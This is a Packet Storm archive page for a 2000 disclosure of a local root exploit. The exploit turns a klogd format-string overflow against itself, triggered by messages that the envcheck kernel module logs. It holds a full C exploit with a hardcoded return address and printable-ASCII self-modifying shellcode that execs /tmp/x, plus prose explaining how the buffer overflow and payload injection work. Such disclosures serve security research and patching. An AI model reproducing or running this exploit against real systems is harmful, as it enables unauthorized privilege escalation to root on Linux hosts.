exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

klogd.exploit.txt

klogd.exploit.txt
Posted Sep 27, 2000
Authored by Esa Etelavuori | Site iki.fi

Klogd Local Exploit. Envcheck is a Linux/x86 kernel module which strips dangerous environment variables before executing a new program, and which can be used to log these probably threatening events. However, a recent format string handling bug in klogd allows an attacker to overflow its buffer and execute arbitrary code.

tags | exploit, overflow, arbitrary, x86, kernel, local
systems | linux
SHA-256 | 00657f3b775f48ad572550dfdff266b0e9640533df27a3bbd59dfc91f83192eb

klogd.exploit.txt

Change Mirror Download
-----BEGIN PGP SIGNED MESSAGE-----

Klogd Exploit Using Envcheck
Release Date: 20000925

Envcheck (http://home.cern.ch/cons/security/) is a Linux/x86
kernel module which strips dangerous environment variables before
executing a new program, and which can be used to log these
probably threatening events. It was mentioned on this list two
weeks ago. However, a recent format string handling bug in klogd
allows an attacker to overflow its buffer and execute arbitrary code.
The problem from attacker's viewpoint is that usual kernel
messages contain so few attacker-controlled characters that
exploiting it might not be possible at all or is kernel specific.

Snipped from envcheck.c (wrapped):
if (strchr(&string1[env_lang_len[j]], '/')) {
if (verbose) {
sanitise(string1);
printk(KERN_INFO "envcheck: %.30s (uid=%d)
discarded locale variable with /: %s\n",
current->comm, current->uid, string1);

Verbose is enabled by default. String1 can be 64 characters.
Sanitise() filters non-printable ASCII characters (<0x20 and >0x7e).
Custom shell code has to be made, for which our favourite insecurity
architecture is suitable so well.

Return address has to contain other characters so program's filename
will be used. It is limited to 15 characters but it is enough for
a format string which overflows the 2048 byte buffer in klogd's
vsyslog() and overwrites the return address. In a successful
attack/DoS uid will not be even logged due to long format padding.

New version of envcheck has been released which does extra
filtering. In this particular case it does not necessarily help,
because envcheck can be used to inject the shellcode into klogd's
stack, and another shorter kernel message can be used to trigger
the payload.

I think this is a nice example of security failure. Klogd
should not run as root on 2.2+ kernels anyway.

/*
* Linux/x86 klogd exploit using envcheck by
* Esa Etelavuori (www.iki.fi/ee/) in 2k0912
* Tested on Red Hat 6.2 / Celeron A & P2.
* You need some skillz to use this.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define RETADDR 0xbffffdab

int main(int ac, char **av)
{
char sting[] = "./[<%2009xAAAABBB";
/* Self-modifying code using 0x20 - 0x7e chars and execing /tmp/x.
* May need tuning for correct %esp offset (%ebx) for modification
* of last two bytes which are transformed into int 0x80. */
char *venom = "LC_ALL="
"T[fhBOfXf5B@f1ChjAX4APPZHf1Chfh/xh/tmpT[RSTYjOX4D2p";

if (ac != 1 && ac != 2) {
fprintf(stderr, "usage: %s [return address]\n", av[0]);
exit(1);
}

if (ac == 2 && av[1][0] == '-') {
printf("done\n");
exit(0);
}
else if (ac == 2 && av[1][0] == '+') {
if (putenv(venom)) {
perror("putenv");
exit(1);
}
execl(av[0], av[0], "-", NULL);
}
else {
*(unsigned long *)(&sting[strlen(sting) - 4 - 3])
= ac == 1 ? RETADDR: strtoul(av[1], NULL, 0);
if (symlink(av[0], sting)) {
perror("symlink");
exit(1);
}
execl(sting, sting, "+", NULL);
}

perror("execl");
exit(1);
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close